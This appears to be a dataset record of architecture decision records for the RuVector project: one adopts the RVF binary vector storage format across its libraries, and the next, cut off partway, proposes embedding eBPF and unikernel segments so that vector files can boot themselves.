Self-optimizing neural architecture with vector storage\n\nEach library invented its own serialization: REDB tables, bincode blobs, JSON-backed HNSW dumps, custom binary formats. This fragmentation means:\n\n1. **No interoperability** \u2014 An agentdb memory file cannot be queried by claude-flow\n2. **Duplicated effort** \u2014 Each library re-implements indexing, quantization, persistence\n3. **No progressive loading** \u2014 All formats require full deserialization before first query\n4. **No hardware adaptation** \u2014 No format targets both WASM tiles and server-class hardware\n5. **No crash safety** \u2014 Most formats rely on external journaling or are not crash-safe\n\n### The RVF Research Outcome\n\nThe RVF (RuVector Format) research (`docs/research/rvf/`) produced a comprehensive specification for a universal, self-reorganizing binary substrate. RVF provides:\n\n- Append-only segments with per-segment integrity (crash-safe without WAL)\n- Two-level manifest with 4 KB instant boot\n- Progressive indexing (Layer A/B/C) for first-query-before-full-load\n- Temperature-tiered quantization (fp16/int8/PQ/binary)\n- WASM microkernel for 64 KB Cognitum tiles to petabyte hubs\n- Post-quantum cryptographic signatures (ML-DSA-65)\n- Domain profiles (RVDNA, RVText, RVGraph, RVVision)\n- Full wire format specification with batch query/ingest/delete APIs\n\n## Decision\n\n### Adopt RVF as the single canonical binary format for all RuVector libraries\n\n### Segment Forward Compatibility\n\nRVF readers and rewriters MUST skip segment types they do not recognize and MUST preserve them byte-for-byte on rewrite. This prevents older tools from silently deleting newer segment types (e.g., KERNEL_SEG, EBPF_SEG) when compacting or migrating files. The rule is: if you did not create it and do not understand it, pass it through unchanged.\n\nAll libraries in the RuVector ecosystem that persist or exchange vector data MUST use RVF as their storage and interchange format. This applies to:\n\n| Library | Current Format | Migration Path |\n|---------|---------------|----------------|\n| ruvector-core | REDB + bincode | RVF as primary, REDB as optional metadata store |\n| agentdb | Custom HNSW + JSON | RVF with RVText profile |\n| claude-flow memory | JSON + flat files | RVF with WITNESS_SEG for audit trails |\n| agentic-flow | Shared memory blobs | RVF streaming protocol for inter-agent exchange |\n| ospipe | Custom binary | RVF with META_SEG for observation state |\n| rvlite | bincode dump | RVF Core Profile (minimal, fits WASM) |\n| sona | Custom persistence | RVF with SKETCH_SEG for learning patterns |\n\n### Implementation Architecture\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Application Layer \u2502\n \u2502 claude-flow \u2502 agentdb \u2502 agentic \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 RVF SDK Layer (rvf crate) \u2502\n \u2502 read \u2502 write \u2502 query \u2502 stream \u2502\n \u2502 progressive \u2502 manifest \u2502 crypto \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502 \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 rvf-core \u2502 \u2502 rvf-wasm \u2502 \u2502 rvf-node \u2502\n \u2502 (Rust lib) \u2502 \u2502 (WASM pkg) \u2502 \u2502 (N-API pkg) \u2502\n \u2502 Full Profile \u2502 \u2502 Core Profile\u2502 \u2502 Full Profile\u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Crate Structure\n\n```\ncrates/\n rvf/ # Core RVF library (no_std compatible)\n rvf-types/ # Segment types, headers, enums (no_std)\n rvf-wire/ # Wire format read/write (no_std)\n rvf-index/ # HNSW progressive indexing\n rvf-manifest/ # Two-level manifest system\n rvf-quant/ # Temperature-tiered quantization\n rvf-crypto/ # ML-DSA-65, SHAKE-256, segment signing\n rvf-runtime/ # Full runtime with compaction, streaming\n rvf-wasm/ # WASM microkernel (Cognitum tile target)\n rvf-node/ # N-API bindings for Node.js\n rvf-server/ # TCP/HTTP streaming server\n```\n\n### NPM Package Structure\n\n```\nnpm/packages/\n rvf/ # Main npm package (TypeScript API)\n rvf-wasm/ # WASM build for browsers\n rvf-node/ # Native N-API for Node.js (platform-specific)\n rvf-node-linux-x64-gnu/ # Platform binary\n rvf-node-darwin-arm64/ # Platform binary\n rvf-node-win32-x64/ # Platform binary\n```\n\n### Library Integration Points\n\n#### claude-flow Integration\n\n```rust\n// claude-flow memory stores become RVF files\n// Memory search -> RVF query with progressive indexing\n// Agent audit trail -> WITNESS_SEG with hash chains\n// Cross-session persistence -> RVF append-only segments\n\nuse rvf_runtime::RvfStore;\n\nlet store = RvfStore::open(\"agent-memory.rvf\")?;\nstore.ingest_batch(&embeddings, &metadata)?;\nlet results = store.query(&query_vector, k, ef_search)?;\n```\n\n#### agentdb Integration\n\n```rust\n// AgentDB HNSW index -> RVF INDEX_SEG (Layer A/B/C)\n// AgentDB memory patterns -> RVF with RVText profile\n// AgentDB vector search -> RVF progressive query path\n// AgentDB persistence -> RVF segment model\n\nuse rvf_runtime::{RvfStore, Profile};\n\nlet store = RvfStore::create(\"agent.rvf\", Profile::RVText)?;\n// Existing AgentDB API wraps RVF operations\n```\n\n#### agentic-flow Integration\n\n```rust\n// Inter-agent memory sharing -> RVF streaming protocol\n// Swarm coordination state -> RVF META_SEG\n// Agent learning patterns -> RVF SKETCH_SEG\n// Distributed consensus -> RVF WITNESS_SEG with signatures\n\nuse rvf_runtime::streaming::RvfStream;\n\nlet stream = RvfStream::connect(\"agent-hub:9090\")?;\nstream.subscribe(epoch_since)?;\n```\n\n### Confidential Core Attestation\n\nRVF supports hardware Confidential Computing attestation via the\nConfidential Core model. TEE attestation quotes are stored in WITNESS_SEG\npayloads alongside vector data, enabling verifiable proof of:\n\n1. **Platform Attestation** (`witness_type = 0x05`): Proof that vector\n operations occurred in a verified TEE (SGX, SEV-SNP, TDX, ARM CCA).\n Segments produced inside an attested TEE set `SegmentFlags::ATTESTED`\n (bit 10) for fast scanning.\n\n2. **Key Binding** (`witness_type = 0x06`): Encryption keys sealed to\n a TEE measurement via `key_type = 4` in CRYPTO_SEG. Data is only\n accessible within environments matching the recorded measurement.\n\n3. **Computation Proofs** (`witness_type = 0x07`): Verifiable records\n that specific queries or operations were performed inside the enclave,\n with query/result hashes in the report data.\n\n4. **Data Provenance** (`witness_type = 0x08`): Chain of custody from\n embedding model through TEE to RVF file, binding model identity\n to the attestation nonce.\n\n#### Attestation Wire Format\n\nAttestation records use a 112-byte `AttestationHeader` (`repr(C)`)\nfollowed by variable-length `report_data` and an opaque platform\nattestation `quote`. The `TeePlatform` enum identifies hardware\n(SGX=0, SEV-SNP=1, TDX=2, ARM CCA=3), and quote contents are\nplatform-specific bytes verified through the `QuoteVerifier` trait.\n\nThe witness chain binds each attestation record via\n`action_hash = SHAKE-256-256(record)`, ensuring tamper-evident linkage.\n\n#### Key Properties\n\n| Property | Mechanism |\n|----------|-----------|\n| Platform identity | `AttestationHeader.measurement` (MRENCLAVE / launch digest) |\n| Anti-replay | `AttestationHeader.nonce` (caller-provided, 16 bytes) |\n| Debug detection | `FLAG_DEBUGGABLE` (bit 0 of attestation flags) |\n| Key sealing | `TeeBoundKeyRecord` in CRYPTO_SEG with measurement binding |\n| no_std support | All types compile without std (TEE-compatible) |\n| CI testing | `SoftwareTee` platform variant (0xFE) for synthetic quotes |\n\n### Cryptographic Key Authority\n\nRVF defines two signing algorithms with distinct roles:\n\n| Algorithm | Use Case | When Required |\n|-----------|----------|---------------|\n| **Ed25519** | Developer iteration, local trust, fast signing | Default for development builds, CI, internal distribution |\n| **ML-DSA-65** (FIPS 204) | Long-lived artifacts, public distribution, post-quantum resistance | Required for published releases and any file with `REQUIRES_PQ` flag |\n\nTrust root rotation: A `SignatureFooter` MAY contain dual signatures (Ed25519 + ML-DSA-65) to support migration periods. Verifiers accept either signature during migration; after a declared cutover date, only ML-DSA-65 is accepted for files with `REQUIRES_PQ` set.\n\nThe canonical trust chain for public artifacts is:\n1. Signing key \u2192 signs CRYPTO_SEG \u2192 covers all data segments\n2. Kernel signing key \u2192 signs KERNEL_SEG \u2192 covers boot image (ADR-030)\n3. TEE measurement \u2192 binds both to hardware attestation quote\n\n### Segment Type Registry (Implemented)\n\nAll segment types below are implemented in `rvf-types/src/segment_type.rs` with `TryFrom` round-trip support and unit tests (23 variants total):\n\n| Value | Name | Description | Source |\n|-------|------|-------------|--------|\n| 0x00 | Invalid | Uninitialized / zeroed region | Core |\n| 0x01 | Vec | Raw vector payloads (embeddings) | Core |\n| 0x02 | Index | HNSW adjacency lists, entry points, routing tables | Core |\n| 0x03 | Overlay | Graph overlay deltas, partition updates, min-cut witnesses | Core |\n| 0x04 | Journal | Metadata mutations (label changes, deletions, moves) | Core |\n| 0x05 | Manifest | Segment directory, hotset pointers, epoch state | Core |\n| 0x06 | Quant | Quantization dictionaries and codebooks | Core |\n| 0x07 | Meta | Arbitrary key-value metadata (tags, provenance, lineage) | Core |\n| 0x08 | Hot | Temperature-promoted hot data (vectors + neighbors) | Core |\n| 0x09 | Sketch | Access counter sketches for temperature decisions | Core |\n| 0x0A | Witness | Capability manifests, proof of computation, audit trails | Core |\n| 0x0B | Profile | Domain profile declarations (RVDNA, RVText, etc.) | Core |\n| 0x0C | Crypto | Key material, signature chains, certificate anchors | Core |\n| 0x0D | MetaIdx | Metadata inverted indexes for filtered search | Core |\n| 0x0E | Kernel | Embedded kernel / unikernel image for self-booting | ADR-030 |\n| 0x0F | Ebpf | Embedded eBPF program for kernel fast path | ADR-030 |\n| 0x10 | Wasm | Embedded WASM bytecode for self-bootstrapping | ADR-030/032 |\n| 0x20 | CowMap | COW cluster mapping | ADR-031 |\n| 0x21 | Refcount | Cluster reference counts | ADR-031 |\n| 0x22 | Membership | Vector membership filter | ADR-031 |\n| 0x23 | Delta | Sparse delta patches | ADR-031 |\n| 0x30 | TransferPrior | Cross-domain posterior summaries + cost EMAs | Domain expansion |\n| 0x31 | PolicyKernel | Policy kernel configuration and performance history | Domain expansion |\n| 0x32 | CostCurve | Cost curve convergence data for acceleration tracking | Domain expansion |\n\nAvailable ranges: 0x11-0x1F, 0x24-0x2F, 0x33-0xEF. Values 0xF0-0xFF are reserved.\n\n## Consequences\n\n### Benefits\n\n1. **Single format everywhere** \u2014 Any tool can read any RuVector data file\n2. **Progressive loading** \u2014 First query in <5ms, full quality in seconds\n3. **Crash safety for free** \u2014 Append-only + segment hashes, no WAL needed\n4. **Hardware portability** \u2014 Same format on WASM tile and server\n5. **Post-quantum ready** \u2014 ML-DSA-65 signatures from day one\n6. **Self-optimizing** \u2014 Temperature tiering adapts to workload automatically\n7. **Ecosystem coherence** \u2014 All libraries share indexing, quantization, crypto code\n8. **Confidential Computing** \u2014 Hardware TEE attestation built into the format with platform-agnostic abstraction\n\n### Write Atomicity Invariant\n\nA segment is committed if and only if:\n1. Its complete header (64 bytes) and payload are present on disk\n2. The content hash in the header matches the payload bytes\n3. The Level 0 manifest pointer has been updated to reference it\n\nThe two-fsync protocol enforces this: first fsync commits the segment data, second fsync commits the manifest update. A crash between fsyncs leaves the segment orphaned but the manifest consistent \u2014 the segment is invisible until the next successful manifest write. This is the write invariant that makes \"crash safe without WAL\" precise.\n\n### Risks\n\n| Risk | Probability | Impact | Mitigation |\n|------|-------------|--------|------------|\n| Migration disrupts existing users | Medium | Medium | Provide rvf-import tools for each legacy format |\n| RVF overhead for small datasets | Low | Low | Core Profile keeps overhead minimal (<1 KB) |\n| Spec complexity delays implementation | Medium | High | Phase implementation (see guidance doc) |\n| WASM binary size for microkernel | Low | Low | Budget verified at ~5.5 KB (within 8 KB) |\n\nThe WASM microkernel binary size MUST be verified in CI as an acceptance test. The current budget is 8 KB maximum. A CI job runs `wasm-opt -Oz` on the output and asserts `stat -c %s < 8192`. Any commit that exceeds this budget fails the build.\n\n### Performance Targets (from RVF acceptance tests)\n\n| Metric | Target |\n|--------|--------|\n| Cold boot | <5 ms (4 KB read) |\n| First query recall@10 | >= 0.70 |\n| Full quality recall@10 | >= 0.95 |\n| Query latency p50 (10M vectors) | 0.1-0.3 ms |\n| Streaming ingest (NVMe) | 200K-500K vectors/s |\n| WASM query latency p50 | <3 ms |\n\n### DNA-Style Lineage Provenance\n\nRVF files carry a `FileIdentity` (68 bytes) in the Level0Root reserved area\nat offset 0xF00, enabling provenance chains across file generations. This is\nfully backward compatible \u2014 old readers see zeros in the reserved area and\ncontinue working normally.\n\n```\nParent.rvf \u2500\u2500derive()\u2500\u2500> Child.rvf \u2500\u2500derive()\u2500\u2500> Grandchild.rvdna\n file_id: A file_id: B file_id: C\n parent_id: [0;16] parent_id: A parent_id: B\n parent_hash: [0;32] parent_hash: hash(A) parent_hash: hash(B)\n depth: 0 depth: 1 depth: 2\n```\n\n#### Lineage Types\n\n| Type | Description |\n|------|-------------|\n| `FileIdentity` (68B) | file_id[16] + parent_id[16] + parent_hash[32] + depth(u32) |\n| `LineageRecord` (128B) | Full derivation record with description for witness chains |\n| `DerivationType` (u8) | Clone=0, Filter=1, Merge=2, Quantize=3, Reindex=4, Transform=5, Snapshot=6 |\n\n#### Witness Integration\n\nLineage events are recorded in WITNESS_SEG with new type codes:\n\n| Witness Type | Code | Purpose |\n|-------------|------|---------|\n| DERIVATION | 0x09 | File derived from parent |\n| LINEAGE_MERGE | 0x0A | Multi-parent merge |\n| LINEAGE_SNAPSHOT | 0x0B | Point-in-time snapshot |\n| LINEAGE_TRANSFORM | 0x0C | Arbitrary transformation |\n| LINEAGE_VERIFY | 0x0D | Lineage chain verification |\n\n#### Extension Aliasing\n\n`.rvdna` is an alternative extension for RVF files using `DomainProfile::Rvdna`.\nThe authoritative profile lives in the `Level0Root.profile_id` byte; extensions\nserve as hints for tooling and file managers.\n\n| Extension | Profile | Domain |\n|-----------|---------|--------|\n| `.rvf` | Generic | General-purpose vectors |\n| `.rvdna` | Rvdna | Genomics (codon, k-mer, motif embeddings) |\n| `.rvtext` | RvText | Language (sentence, document embeddings) |\n| `.rvgraph` | RvGraph | Graph (node, edge, subgraph embeddings) |\n| `.rvvis` | RvVision | Vision (patch, image, object embeddings) |\n\n### Quantum Vector Space Optimizations\n\nRVF is designed to be quantum-ready at the storage layer. Quantum vector space\noptimizations extend the format's utility for quantum-classical hybrid workloads:\n\n1. **Quantum State Vectors**: RVF's VEC_SEG natively supports complex-valued\n vectors (fp32 pairs) for storing quantum state amplitudes. The `DataType`\n enum accommodates complex64 and complex128 types.\n\n2. **Hilbert Space Indexing**: HNSW layers in INDEX_SEG can index over\n quantum fidelity metrics (trace distance, Bures distance) via pluggable\n distance functions in the runtime's `DistanceMetric` trait.\n\n3. **Quantum Error Correction Metadata**: META_SEG stores syndrome tables,\n stabilizer codes, and logical-physical qubit mappings alongside vectors,\n enabling QEC-aware retrieval.\n\n4. **Tensor Product Decomposition**: RVF segments support factored storage\n where large quantum state vectors are stored as tensor products of smaller\n sub-vectors, reducing storage from O(2^n) to O(n * 2^k) for k-local states.\n\n5. **Post-Quantum Cryptographic Signatures**: ML-DSA-65 (Dilithium) signatures\n in CRYPTO_SEG ensure quantum-resistant integrity verification.\n\n6. **Variational Quantum Eigensolver (VQE) Snapshots**: SKETCH_SEG stores\n parameterized circuit snapshots and their corresponding expectation values,\n enabling efficient VQE optimization history retrieval.\n\n### RuVLLM Integration\n\nRVF serves as the native storage format for RuVLLM (RuVector Large Language\nModel) inference and fine-tuning pipelines:\n\n1. **KV-Cache Persistence**: RVF segments store attention key-value caches\n for LLM inference resumption. VEC_SEG holds projected K/V matrices with\n per-layer segment tagging, enabling instant context restoration.\n\n2. **Embedding Store**: Model embedding tables (token, position, type) are\n stored as RVF VEC_SEGs with HNSW indexing for semantic token retrieval\n and vocabulary expansion experiments.\n\n3. **LoRA Adapter Storage**: Low-rank adaptation matrices are stored as\n compact VEC_SEGs with quantization (int4/int8 via QUANT_SEG), enabling\n efficient adapter switching during multi-tenant inference.\n\n4. **Activation Checkpointing**: Intermediate activations during gradient\n computation are stored as temperature-tiered RVF segments \u2014 hot layers\n in HOT_SEG, cold layers in standard VEC_SEG \u2014 with automatic promotion.\n\n5. **Prompt Cache / RAG Store**: Retrieval-augmented generation corpora are\n RVF files with RVText profile, enabling sub-millisecond semantic search\n over cached prompt-response pairs with lineage tracking.\n\n6. **Model Provenance**: Lineage chains track model derivation \u2014 base model\n \u2192 fine-tuned \u2192 quantized \u2192 deployed \u2014 with cryptographic hashes ensuring\n the exact model lineage is verifiable.\n\n## File Extension\n\n- `.rvf` \u2014 RuVector Format file (Generic profile)\n- `.rvdna` \u2014 Genomics domain (Rvdna profile)\n- `.rvtext` \u2014 Language/text domain (RvText profile)\n- `.rvgraph` \u2014 Graph/network domain (RvGraph profile)\n- `.rvvis` \u2014 Vision/imagery domain (RvVision profile)\n- `.rvf.cold.N` \u2014 Cold shard N (multi-file mode)\n- `.rvf.idx.N` \u2014 Index shard N (multi-file mode)\n\n## MIME Type\n\n- `application/x-ruvector-format` (pending IANA registration)\n\n## Related Decisions\n\n- **ADR-001**: Core architecture (storage layer superseded by RVF)\n- **ADR-003**: SIMD optimization (RVF adopts 64-byte alignment strategy)\n- **ADR-005**: WASM runtime (RVF microkernel replaces ad-hoc WASM builds)\n- **ADR-006**: Memory management (RVF segment model replaces custom arena)\n- **ADR-018**: Block-based storage (RVF VEC_SEG block model supersedes)\n- **ADR-021**: Delta compression (RVF OVERLAY_SEG adopts delta approach)\n- **RVF Spec**: `docs/research/rvf/` (full specification)\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-02-13 | ruv.io | Initial adoption decision |\n| 1.1 | 2026-02-16 | implementation review | Added complete segment type registry documenting all 23 implemented variants including Wasm (0x10), COW segments (0x20-0x23), and domain expansion segments (0x30-0x32). All types have `TryFrom` round-trip tests in rvf-types. |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-029-rvf-canonical-format.md", "created_at": "2026-03-28T11:58:49.231865+00:00", "content_hash": "425e0fedf74eac7595de574bcb38ced09a8c0929df12e5299b84096301016732"} +{"id": "a7abc101-03a2-4a62-96ad-5835c59b38c9", "source": "adr", "text": "# ADR-030: RVF Cognitive Container -- Self-Booting Vector Files\n\n**Status**: Proposed\n**Date**: 2026-02-14\n**Authors**: ruv.io, RuVector Architecture Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n**Depends on**: ADR-029 (RVF canonical format), ADR-005 (WASM runtime), ADR-012 (Security remediation)\n\n## Context\n\n### The Passive Data Problem\n\nRVF today is a sophisticated binary format for vector data: it carries embeddings, HNSW indexes, quantization codebooks, cryptographic signatures, and a 5.5 KB WASM microkernel. But it remains fundamentally passive. To serve queries, an external runtime must:\n\n1. Parse the file\n2. Load the manifest\n3. Build in-memory indexes\n4. Expose an API (HTTP, gRPC, or in-process)\n5. Manage lifecycle, health checks, and scaling\n\nThis external dependency chain creates friction in four critical deployment scenarios:\n\n**Confidential Computing (TEE enclaves)**: Today, deploying vector search inside an SGX/SEV-SNP/TDX enclave requires installing a full runtime inside the enclave, increasing the Trusted Computing Base (TCB) and attack surface. The WITNESS_SEG attestation model (ADR-029) records proofs of TEE execution, but the runtime itself is not attested -- only the data is. A self-booting file that carries its own verified kernel eliminates the unattested runtime gap.\n\n**Serverless vector search**: Lambda-style platforms cold-start a runtime, deserialize the index, and then serve queries. For RVF files under 10 MB, the runtime overhead dominates: Firecracker boots in ~125 ms, but the Node.js/Python runtime on top adds 500-2000 ms. If the .rvf file IS the microservice -- booting directly into a query-serving kernel -- cold start collapses to the Firecracker boot window alone.\n\n**Air-gapped / edge deployment**: Edge nodes in disconnected environments (submarines, satellites, field hospitals, industrial control) cannot rely on package managers or container registries. A single file that self-boots and serves queries removes all host dependencies beyond a hypervisor or bare metal.\n\n**Portable compute**: The AppImage model (self-contained Linux application in a single file) proves that users prefer \"download, chmod +x, run.\" RVF should offer the same experience for vector search: drop a file, it runs.\n\n### Why WASM Alone Is Insufficient\n\nThe existing WASM_SEG (Tier 1) provides portable compute at 5.5 KB, but WASM has structural limitations for the scenarios above:\n\n- **No direct hardware access**: WASM cannot bind to NVMe, network interfaces, or TEE hardware without a host runtime.\n- **No kernel services**: WASM lacks syscalls for file I/O, networking, memory-mapped I/O, and signal handling.\n- **No attestation binding**: WASM modules cannot generate or verify TEE attestation quotes.\n- **Performance ceiling**: WASM's linear memory model and lack of SIMD beyond v128 limits throughput for large-scale vector operations.\n- **WASI is not yet sufficient**: WASI Preview 2 (stabilized early 2024) covers basic I/O, but WASI 0.3 completion is tracked on the WASI roadmap (wasi.dev/roadmap) with previews available as of early 2026; it still lacks TEE integration, direct device access, and the networking primitives needed for a standalone query server.\n\nThese limitations motivate a complementary execution tier that provides kernel-level capabilities while preserving WASM's portability for constrained environments.\n\n## State of the Art\n\n### Rust Unikernels\n\n**Hermit OS / RustyHermit** (RWTH Aachen): A Rust-native unikernel where the application links directly against the kernel library. The kernel supports x86_64, aarch64, and riscv64 targets. The entire kernel is written in Rust with zero C/C++ dependencies, making it composable with Rust applications at link time. Hermit runs on QEMU/KVM, Firecracker, and Uhyve (a custom lightweight VMM). The kernel binary for a minimal application is approximately 200-400 KB compressed, well within the RVF segment budget.\n\n**Theseus OS** (Rice/Yale): A safe-language OS using Rust's ownership model for isolation instead of hardware privilege rings. Runs in a single address space and single privilege level. While not production-ready, its cell-based architecture demonstrates that Rust's type system can enforce kernel-level isolation without MMU overhead -- relevant for TEE enclaves where virtual memory is constrained.\n\n**Asterinas** (USENIX ATC 2025): A Linux ABI-compatible framekernel written in Rust, supporting 230+ syscalls. Its \"OSTD\" framework confines unsafe Rust to ~14% of the codebase. Asterinas proves that a Rust kernel can achieve Linux-comparable performance while maintaining memory safety guarantees. Its Linux ABI compatibility means existing Rust binaries can run unmodified.\n\n**RuxOS** (syswonder): A modular Rust unikernel that selectively includes only the OS components an application needs, achieving minimal image sizes. Supports multiple architectures including x86_64, aarch64, and riscv64.\n\n### MicroVM Technology\n\n**Firecracker** (AWS, ~50K lines of Rust): Purpose-built for serverless. Achieves <125 ms boot time to init process with <5 MiB memory footprint. Powers AWS Lambda and Fargate. Written entirely in Rust. The minimal attack surface (no USB, no GPU passthrough, no legacy devices) makes it ideal for running untrusted workloads. Firecracker accepts a kernel image + rootfs as inputs -- exactly what a KERNEL_SEG would provide.\n\n**Cloud Hypervisor** (Intel/ARM): A Rust-based VMM targeting cloud workloads. Supports VirtIO devices, VFIO passthrough, and live migration. More feature-rich than Firecracker but larger attack surface.\n\n**Uhyve** (Hermit project): A minimal hypervisor specifically designed for Hermit unikernels. Even faster boot times than Firecracker for single-application workloads because it skips BIOS/UEFI boot and loads the unikernel directly.\n\n### eBPF for Data Processing\n\n**eBPF architecture**: Programs run in the Linux kernel's BPF virtual machine with a JIT compiler producing native code. Programs are verified before execution (no loops, bounded execution, memory safety). Map types (hash tables, arrays, ring buffers, LPM tries) provide shared state between kernel and userspace.\n\n**Aya (Rust eBPF framework)**: Pure Rust eBPF development with BTF (BPF Type Format) support for cross-kernel portability. No C toolchain required. Compiles eBPF programs from Rust source. Supports XDP (eXpress Data Path), TC (Traffic Control), tracepoints, kprobes, and socket filters. FOSDEM 2025 featured sessions on building production eBPF systems with Aya.\n\n**Relevance to vector search**: eBPF programs attached at XDP or TC hooks can perform distance computations on incoming query packets before they reach userspace, reducing round-trip latency. BPF maps can hold hot vectors (top-accessed embeddings) in kernel memory, serving as a kernel-level L0 cache. This maps directly to RVF's temperature tiering model (HOT_SEG).\n\n### Confidential Computing Runtimes\n\n**Enarx** (Confidential Computing Consortium): A deployment platform for WebAssembly inside TEEs. First open-source project donated to the CCC. Supports SGX and SEV-SNP. Uses WASM as the execution format inside the enclave.\n\n**Gramine** (formerly Graphene-SGX): A library OS that runs unmodified Linux applications inside SGX enclaves. Adds ~100-200 KB to the TCB. Widely used in production confidential computing deployments.\n\n**Occlum**: An SGX library OS supporting multi-process, multi-threaded applications. Provides a POSIX-compatible API inside the enclave.\n\n**Key insight**: All current CC runtimes add a separate library OS layer. If the RVF file carries its own kernel that IS the library OS, the TCB shrinks to just the kernel image (which is cryptographically measured) plus the TEE hardware. The attestation quote then covers both data and runtime in a single measurement.\n\n**2025 developments**: The Confidential Computing Consortium's 2025 survey found that CC has become foundational for data-centric innovation, but implementation complexity hinders adoption. Self-booting RVF files address this directly: the deployment complexity collapses to \"transfer file, boot.\"\n\n### Self-Executing Archive Formats\n\n**AppImage**: Self-mounting disk images using FUSE. Users download, `chmod +x`, and run. No installation. The model proves that single-file deployment works at scale for Linux desktop applications.\n\n**binctr** (Jessie Frazelle): Fully static, unprivileged, self-contained containers as executable binaries. Embeds a compressed rootfs inside the binary. Demonstrates that a useful runtime environment can fit in a single self-extracting file.\n\n**Snap / Flatpak**: More complex than AppImage but demonstrate sandboxed execution from self-contained bundles.\n\n**Key gap**: None of these formats are designed for compute workloads that serve network APIs. They all target desktop applications. RVF's KERNEL_SEG fills this gap: a self-booting file that starts a query server, not a GUI.\n\n### WebAssembly System Interface (WASI)\n\n**WASI Preview 2** (stabilized early 2024): Covers basic file I/O, clocks, random, stdout/stderr. The Component Model enables composing WASM modules with typed interfaces (WIT).\n\n**WASI 0.3** (tracked on wasi.dev/roadmap, previews available as of early 2026): Adds native async support with the Component Model. Still lacks TEE integration, direct network socket creation, and the system-level primitives needed for a standalone service.\n\n**WebAssembly vs. Unikernels** (arxiv 2509.09400): A comparative study found that WASM offers lower cold-start latency for lightweight functions but degrades with complex workloads and I/O operations, while Firecracker-based MicroVMs provide stable, higher performance for I/O-heavy tasks like vector search. This validates the three-tier model: WASM for lightweight edge, unikernel for production workloads.\n\n### Post-Quantum Cryptography for Kernel Signing\n\n**ML-DSA-65** (FIPS 204): Module-lattice-based digital signatures at NIST Security Level 3. Multiple pure Rust implementations exist (fips204, ml-dsa, libcrux-ml-dsa crates). The fips204 crate operates in constant time, is `#[no_std]` compatible, has no heap allocations, and exposes the RNG -- suitable for bare-metal and TEE environments. RVF already uses ML-DSA-65 for segment signing in CRYPTO_SEG; the same infrastructure extends naturally to KERNEL_SEG signing.\n\n## Decision\n\n### Add KERNEL_SEG (0x0E) and EBPF_SEG (0x0F) to the RVF segment type registry\n\nExtend the RVF format with two new segment types that embed executable compute alongside vector data, creating a three-tier execution model:\n\n| Tier | Segment | Size | Target Environment | Boot Time |\n|------|---------|------|--------------------|-----------|\n| **1: WASM** | WASM_SEG (exists) | 5.5 KB | Browser, edge, IoT, Cognitum tiles | <1 ms (instantiate) |\n| **2: eBPF** | EBPF_SEG (0x0F) | 10-50 KB | Linux kernel fast path, XDP, TC | <20 ms (load + verify) |\n| **3: Unikernel** | KERNEL_SEG (0x0E) | 200 KB - 2 MB | TEE enclaves, Firecracker, bare metal | <125 ms (full boot) |\n\n### Tier Selection Logic\n\n```\nif target == browser || target == wasm_runtime {\n use WASM_SEG (Tier 1)\n} else if linux_kernel_available && query_is_hot_path {\n use EBPF_SEG (Tier 2) // kernel-level L0 cache\n} else if tee_required || standalone_service {\n use KERNEL_SEG (Tier 3) // self-booting\n} else {\n use host runtime (existing behavior)\n}\n```\n\nAn RVF file MAY contain segments from multiple tiers simultaneously. A file with WASM_SEG + KERNEL_SEG can serve queries from a browser (Tier 1) or boot as a standalone service (Tier 3) from the same file.\n\n## KERNEL_SEG Wire Format\n\n### Segment Header\n\nKERNEL_SEG uses the standard 64-byte SegmentHeader (ADR-029) with `seg_type = 0x0E`. The payload begins with a KernelHeader followed by the compressed kernel image.\n\n### KernelHeader (128 bytes, repr(C))\n\n```\nOffset Size Field Description\n------ ---- ----- -----------\n0x00 4 kernel_magic Magic: 0x52564B4E (\"RVKN\")\n0x04 2 header_version KernelHeader format version (currently 1)\n0x06 1 arch Target architecture enum\n0x07 1 kernel_type Kernel type enum\n0x08 4 kernel_flags Bitfield flags\n0x0C 4 min_memory_mb Minimum RAM required (MiB)\n0x10 8 entry_point Virtual address of kernel entry point\n0x18 8 image_size Uncompressed kernel image size (bytes)\n0x20 8 compressed_size Compressed kernel image size (bytes)\n0x28 1 compression Compression algorithm (same as SegmentHeader)\n0x29 1 api_transport API transport 